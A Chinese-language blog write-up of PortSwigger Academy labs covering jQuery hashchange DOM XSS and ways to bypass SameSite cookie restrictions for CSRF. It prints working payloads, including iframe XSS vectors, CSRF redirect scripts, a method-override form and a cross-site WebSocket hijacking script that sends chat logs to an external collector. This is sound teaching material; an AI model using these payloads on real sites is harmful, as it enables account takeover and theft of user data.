梨子带你刷burpsuite靶场系列之客户端漏洞篇 - 跨站脚本(XSS)及跨站请求伪造(CSRF)专题更新部分

阅读量7152

发布时间 : 2025-03-26 16:05:51

[TOC]

本系列介绍

PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。

梨子有话说

梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。

客户端漏洞篇介绍

相对于服务器端漏洞篇,客户端漏洞篇会更加复杂,需要在我们之前学过的服务器篇的基础上去利用。

客户端漏洞篇更新部分介绍

本篇文章为截止2023年3月底客户端漏洞篇更新部分的串烧,因为每个专题更新的内容不多,所以就集中在这一篇文章中了,请大家慢慢品尝!

跨站脚本(XSS)专题更新部分

jQuery中的DOM XSS(2)

这一小节的位置大概在基于DOM的XSS的”第三方依赖中的source和sink”的第二小节。这里应该是补充一下发生于jQuery中的DOM XSS的场景。这里说另一个需要注意的潜在漏洞是 jQuery的$()选择器函数,它可用于将恶意对象注入DOM。jQuery之前比较热门,经典的DOM XSS漏洞是由于使用这个选择器和location.hash source制作动画或自动滚动到页面上的特定元素引起的。这种行为一般是使用易受攻击的hashchange事件处理程序实现的,比如:

$(window).on('hashchange', function() {
    var element = $(location.hash);
    element[0].scrollIntoView();
});

由于hash是用户可控的,所以攻击者可以使用它向$()选择器sink中注入xss向量。较新版本的jQuery已经通过阻止输入以哈希字符(#)开头时将HTML注入选择器的方式修补了这个漏洞。但是,仍然会有一些在野攻击代码被发现。
要想利用这个经典的漏洞,我们需要找到一种无需用户交互即可触发hashchange事件的方法。最简单的方法之一就是通过iframe:

<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">

在这个示例中,src属性指向了具有空哈希值的易受攻击的页面。加载iframe时,xss向量会附加到hash上,导致触发hashchange事件。
其实即使是较新版本的jQuery仍然可以通过$()选择器sink进行攻击,但是前提是要可以完全控制来自不需要#劝醉的source的输入。

配套靶场:使用hashchange事件的jQuery选择器sink中的DOM XSS

题目说站点使用jQuery的$()选择器自动滚动到指定的帖子,并且帖子的标题是通过location.hash属性进行传递的,然后最终执行print()即为利用成功。首先,我们看到了题目所说的首页易受攻击的代码:

$(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
});

然后我们进入exploit server,在body中写入我们要注入的xss向量:

<iframe src="https://[靶机ID].web-security-academy.net#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

然后我们保存并点击发送给受害者,这样受害者接收到的时候就会无需交互地触发这个经典的DOM XSS并执行print()了,解题成功!

跨站请求伪造(CSRF)专题更新部分

绕过SameSite cookie限制

SameSite是一种浏览器安全机制,用于确定网站的cookie什么时候要包含在来自其他网站的请求中。通常来说,SameSite cookie可以用于防止像CSRF、跨站点泄漏、还有一些CORS之类的跨站攻击。
2021年开始,如果使用cookie的网站未明确设置自己的限制级别,chrome浏览器会默认应用Lax SameSite限制。可能未来其他主流浏览器也会通过这种方式增强安全性吧。因此我们有必要牢牢掌握这些限制的工作原理,以及它们可能被绕过的方式,以便能彻底地测试跨站的攻击向量。

什么是以SameSite cookie为上下文的网站?

在SameSite cookie限制的上下文中,站点被定义为顶级域(top-level domain,缩写为TLD),类似于.com.net之类的,再加上一层额外的域名,通常成为TLD+1。
在确定请求是否为同一站点时,还要考虑URL shceme也要考虑进去。这就意味着从http://app.example.comhttps://app.example.com 的链接会被大多数浏览器识别为跨站点。

还有一个术语叫有效顶级域(effective top-level domain,缩写为eTLD),这只是一种考虑保留的多部分后缀的方法,比如像.co.uk这种的,也会被视为顶级域。

站(site)和源(origin)之间有什么区别?

站和源之间的区别在于他们的范围:一个站包含多个域名,而一个源仅包含一个。尽管他们密切相关,但是还是要注意区分,不要弄混淆了,不然混为一谈可能会产生严重的安全隐患。
如果两个URL使用完全相同scheme、域名和端口,则它们会被认为具有相同的源,尽管如此,需要注意的是端口通常是从scheme中推断出来的。

从这个示例中可以看出,术语”站”的具体性要低很多,因为它仅说明scheme和域名的最后一部分。重要的是,这意味着跨源请求仍可以认为是同站的,但是反过来就不行

同站? 同源?
https://example.com https://example.com
https://app.example.com https://intranet.example.com 否:域名不匹配
https://example.com https://example.com:8080 否:端口不匹配
https://example.com https://example.co.uk 否:eTLD不匹配 否:域名不匹配
https://example.com http://example.com 否:scheme不匹配 否:scheme不匹配

这是一个重要的区别,因为它意味着任何允许任意javascript执行的漏洞都可能被滥用以绕过属于同站的其他域上的基于站的防御。

SameSite是如何工作的?

在引入SameSite机制之前,浏览器会在每个请求中将cookie发送到发出它们的域,即使该请求是由不相关的第三方网站触发的。SmaeSite的工作原理就是让浏览器和网站所有者能够限制哪些跨站点请求(如果有)应包含特定的cookie。这有助于减少用户遭受CSRF攻击的风险,CSRF攻击会诱使受害者的浏览器发出请求,从而在易受攻击的网站上触发有害操作。由于这些请求通常需要与受害者的经过身份验证的会话相关联的cookie,因此如果浏览器不包含此信息,则攻击不会生效。
目前所有主流浏览器都支持以下SameSite限制级别:

  • Strict
  • Lax
  • None

开发人员可以为他们设置的每个cookie手动配置限制级别,使他们能够更好地控制什么时候使用这些cookie。为此,他们只需在Set-Cookie响应头中包含SameSite属性及其首选值:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

尽管这提供了一些针对CSRF攻击的保护,但这些限制都不能提供有保障的免疫力。
如果提供cookie的网站没有明确设置SameSite属性,Chrome默认会自动应用Lax限制。这意味着cookie仅在满足特定条件的跨站点请求中发送,即使开发人员从未配置此行为。但是这是一项拟议的新标准,并不是所有的浏览器都默认采用这种行为。

Strict(严格级别)

如果使用SameSite=Strict属性设置cookie,浏览器将不会在任何跨站请求中发送它。这就意味着如果请求的目标站与浏览器地址栏中当前显示的站不匹配则不会包含cookie。
在设置使持有者能够修改数据或执行其他敏感操作的cookie时,建议设置为这种限制级别,例如访问仅对经过身份验证的用户可用的特定页面。
虽然这是最安全的选项,但在需要跨站点功能的情况下,它可能会对用户体验产生负面影响。

使用站内利用链绕过SameSite限制

如果使用SameSite=Strict属性设置cookie,浏览器将不会将其包含在任何跨站请求中。如果我们可以在同一站内找到一个导致二次请求的利用链,则我们可能会绕过此限制。
一种可能的利用链是客户端重定向,它使用攻击者可控的输入(如URL参数)动态构建重定向目标。这里大家可以移步基于DOM漏洞专题中关于开放重定向的内容了解细节。
就浏览器而言,这些客户端重定向根本不是真正的重定向;生成的请求仅被视为普通的独立请求。最重要的是,这是一个同站请求,因此,将包括与该站点相关的所有cookie,而不管是否存在任何限制。
如果您可以操纵此利用链来引发恶意的二次请求,则可以让我们完全绕过任何SameSite cookie限制。
请注意,服务器端重定向不可能进行等效攻击。在这种情况下,浏览器识别到追随重定向的请求最初是由跨站请求引起的,因此它们仍然应用适当的cookie限制。

配套靶场:通过客户端重定向绕过strict级别的SameSite限制

题目说的是修改邮箱功能点是存在csrf漏洞的,但是它设置了strict级别的SameSite限制,所以我们就要想办法绕过。从题目来看我们肯定是要找一个重定向去绕过,于是我们发现发表评论功能会触发302重定向。

然后我们发现控制重定向的代码在commentConfirmationRedirect.js中:

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

所以我们跟踪一下这个重定向,并尝试修改postId参数,看看会发生什么。

我们发现postId参数指定的字符串会被设置为返回博客功能点跳转的地址,那它就可以通过搭配目录穿越符实现任意路径跳转,比如/../../my-account,但是因为修改邮箱的请求是post的,所以我们要转成get的:

/my-account/change-email?email=caros%40normal-user.net&submit=1

然后我们去Exploit Server的body中构造:

<script>
    document.location = "https://[靶机ID].web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40web-security-academy.net%26submit=1";
</script>

然后保存并点击发送给受害者,解题成功!成功绕过限制csrf修改邮箱。

通过易受攻击的兄弟域绕过SameSite限制

这里有一个点要知道,即使请求是跨源(cross-origin)发出的,但是它们仍然可以是同站的。
我们要关注所有可用的攻击面,包括任何同级域。特别是能够引发任意二次请求的漏洞(如XSS)可以完全破坏基于站的防御,使站的所有域暴露于跨站攻击。
除了经典的CSRF,不要忘记如果目标网站支持WebSocket,还可能容易受到跨站WebSocket劫持(CSWSH)攻击,其实就是针对WebSocket握手的CSRF攻击。可以移步WebSocket专题了解详情。

配套靶场:通过兄弟域绕过strict级别的SameSite限制

这一道题涉及到Websocket相关的漏洞,所以如果还没看那个专题的可以先跳过哦。题目说的是在线聊天功能点存在跨站WebSocket劫持(CSWSH)漏洞,我们的目标就是将聊天记录发送到burp collaborator上从而获取到对方的账号密码。我们先找到这个聊天功能,然后随便发些消息,看看这个过程中会产生什么。我们发现点击发送以后会触发一个/chat请求发起Websocket请求。

随便发点什么消息后我们在WebSockets History里就能看到确实有交互,一条一条的。

然后我们就来验证一下它是否有CSWSH漏洞,首先我们把burp collaborator打开,复制一条临时地址出来,然后到Exploit Server的body里写这样的payload:

<script>
    var ws = new WebSocket('wss://[靶机ID].web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://[burp collaborator临时地址]', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

然后保存并点击view exploit,发现我们在collaborator接收到了发送过来的websocket请求。

虽然确认是存在CSWSH漏洞的,但是我们发现它只是会起一个全新的会话,这对我们的目标毫无帮助。因为SameSite现在是strict级别,所以在开起会话的时候并不会带着cookie。那我们就得找找同站有没有其他漏洞。我们发现有些请求(shop.svg、chat.js)的响应中会带有一个Access-Control-Allow-Origin头,它的值和靶机属于同站的不同域名。

我们尝试访问一下这个兄弟域,发现它是个登录口。

我们尝试随便输入点什么账号密码,发现用户名会返回在前端,那我们猜测它可能存在xss漏洞。

果然有,那我们就可以拿它来尝试带cookie发动CSWSH攻击了。经过测试发现,将含有XSS payload的请求转换为GET请求仍然可以成功触发,所以我们就确定它可以用于实现同站带cookie发动CSWSH攻击了。这次我们需要构造的payload就有点长了,首先我们把上一次尝试CSWSH的代码整个做个URL编码,然后塞到这个含有XSS漏洞的兄弟域的URL中:

<script>
    document.location = "https://cms-[靶机ID].web-security-academy.net/login?username=[整个做了URL编码的CSWSH代码]&password=[随便写]";
</script>


好家伙,这么老长,看到没,这才叫XSS!然后我们保存并点击发送给受害者,不一会我们就获取到了他们的聊天记录,里面有账号密码。

登陆成功,成功解题!这道题还是非常有意思的。

Lax(宽松级别)

Lax级别的SameSite限制意味着浏览器将在跨站请求中带着cookie,但是需要同时满足以下两个条件:

  • 使用GET请求。
  • 请求由用户的顶级导航触发,如点击链接操作。

这就意味着cookie不会包含在跨站的POST请求中。由于POST请求通常用于执行修改数据或状态的操作,所以它们更有可能被用来发动CSRF攻击。
同样的,cookie也不会包含在后台请求中,如由脚本、iframe或对图像等其他资源的引用发起的请求。

使用GET请求绕过Lax级别的SameSite限制

在实践中,服务器对它们接收到的指向指定端点的是GET还是POST请求并不总是那么挑剔,即使是本来是一个提交表单的操作。如果它们也对其会话cookie使用Lax级别的限制,无论是明确的还是由于浏览器的默认设置,我们仍然可以通过从受害者的浏览器引发GET请求来执行CSRF攻击。
只要请求涉及顶级导航,浏览器仍然会带着受害者的会话cookie,下面是发起这类攻击最简单的方法之一:

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

即使不允许常规的GET请求,一些框架也提供了覆盖请求行中指定方法的方法。如Symfony支持表单中的_method参数,它优先于用于路由目的的常规方法:

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

其他框架也有支持的各种类似的参数。

配套靶场:通过方法覆盖绕过Lax级别的SameSite限制

还是修改邮箱处存在CSRF漏洞,只不过这次SameSite是Lax级别的。我们需要将POST请求想办法覆盖成GET请求才能绕过。我们发现直接将修改邮箱的POST请求切换成GET请求会提示”Method Not Allowed”

但是我们加一个_method参数就可以了,像这样:

GET /my-account/change-email?email=foo%40web-security-academy.net&_method=POST HTTP/1.1

于是我们就可以去Eploit Server的body中这样构造POC:

<script>
    document.location = "https://[靶机ID].web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

保存并点击发送给受害者,成功绕过Lax限制修改邮箱,解题成功!

使用新发布的cookie绕过Lax级别的SameSite限制

采用Lax级别的SameSite限制的Cookie通常不会在任何跨站POST请求中发送,但也有一些例外。
前面讲过,如果网站在设置cookie时不包含SameSite属性,chrome默认会自动应用Lax限制。但是为了避免破坏单点登录(SSO)机制,它实际上并没有在顶级POST请求的前120秒强制执行这些限制。所以我们有两分钟的时间窗口向用户发动跨站攻击。
当然了,这种例外仅限于未设置SameSite属性的情况,不适用于指定SameSite=Lax的场景。
但是尝试在这个短窗口内发动攻击有点不切实际。另一方面,如果我们可以在站点上找到一个可以强制向受害者发出新的会话cookie的利用链,我们就可以在跟进主要攻击之前先发制人地刷新他们的cookie。比如,完成基础OAuth的登录流程可能每次都会产生一个新会话,因为OAuth服务不确定用户是否还在登录到目标站点。
要在受害者无需再次手动登录的情况下触发cookie刷新,我们需要使用顶级导航,以确保包含与当前OAuth会话关联的cookie。这里难度就加大了,因为我们还要将用户重定向回我们指定的站点,以便我们发动CSRF攻击。
或者我们可以从新选项卡触发cookie刷新,这样浏览器就不会在发动最终攻击之前离开页面。但是这里有个小麻烦就是浏览器会阻止弹出选项卡。比如下面的弹窗就默认会被浏览器屏蔽:

window.open('https://vulnerable-website.com/login/sso');

为了解决这个问题,我们可以将语句包装在onclick事件处理程序中,如下所示:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

这样,window.open()方法仅在用户单击页面某处时被调用。

配套靶场:通过cookie刷新绕过Lax级别的SameSite限制

还是修改邮箱,但是本题是应用了OAuth的。我们先尝试发动CSRF攻击,时间窗口只有120秒,如果超过了120秒才发动攻击则不会成功,需要重复进行一次OAuth过程。那么我们怎么赶在120秒内发动攻击呢。我们注意到,如果访问/social-login则会自动启动完整的OAuth流程,如果此时已经有一个OAuth会话的话,这个过程会在无感知的情况下进行。然后我们还发现每次完成OAuth流程都会生成一个新的会话cookie,不管现在是否是登录状态。现在我们到Eploit Server,在body中写一个js代码,以使用户访问时会强制访问/social-login来刷新会话,然后经过短暂的暂停以后执行修改邮箱的操作,POC如下:

<form method="POST" action="https://[靶机ID].web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://[靶机ID].web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail(){
        document.forms[0].submit();
    }
</script>

但是还有个问题,因为只有120秒的窗口,浏览器阻止弹窗的话攻击就失败了,所以我们接下来要绕过对弹窗的屏蔽。前面有讲过,利用onclick事件诱使受害者手动点击,就不会被拦截弹窗了,POC如下:

<form method="POST" action="https://[靶机ID].web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://[靶机ID].web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    }

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

我们把这段poc写到Eploit Server的body中,保存并点击发送给受害者,成功绕过限制修改邮箱,解题成功,真的太好玩了!

None(无限制)

如果使用SameSite=None属性设置cookie,这将有效地完全禁用SameSite限制,而不管浏览器是什么。浏览器将在所有发送到发出它的站点的请求中发送此cookie,即使是那些由完全不相关的第三方站点触发的请求。
除了Chrome之外,如果在设置cookie时没有提供SameSite属性,这是主要浏览器使用的默认行为。
禁用SameSite是有正当理由的,例如当cookie旨在从第三方上下文中使用并且不授予持有者访问任何敏感数据或功能的权限时。追踪cookie就是一个典型的例子。
如果您遇到设置了SameSite=None或没有明确限制的cookie,则值得研究它是否有用。当 Chrome首次采用”Lax-by-default(默认即Lax)”行为时,这具有破坏许多现有网络功能的副作用。作为一种快速解决方法,一些网站选择简单地禁用对所有cookie的SameSite限制,包括可能敏感的cookie。
使用SameSite=None设置cookie时,网站还必须包含Secure属性,以确保cookie仅通过HTTPS在加密消息中发送。否则,浏览器将拒绝该cookie,并且它不会被设置。差不多长这样:

Set-Cookie: trackingId=0F8tgdOhi9ynR1M9wa3ODa; SameSite=None; Secure

总结

客户端漏洞篇就更新了两个专题的内容,xss和csrf,xss只更新了一个小的知识点,而csrf专题相当于更新了一个小分支内容,同站策略的工作机制及简单绕过,还是非常有意思的,学习就是不断解惑的过程嘛,而且还帮我们分清了源和站的区别,那现在就很明了了,同源策略是用来防御CORS的,同站策略是用来防御CSRF的,梨子非常感谢能有burp这样的课程,真的帮助梨子构建了非常清晰的漏洞知识框架,这也是梨子坚持要更新这个系列的初衷,希望能帮助越来越多的初学者清晰明了,通俗易懂地理解漏洞原理。嘻嘻嘻,我们下一篇文章再见啦!

本文由NaTsUk0原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/288408

安全KER - 有思想的安全新媒体

分享到:微信
+10赞
收藏
NaTsUk0
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66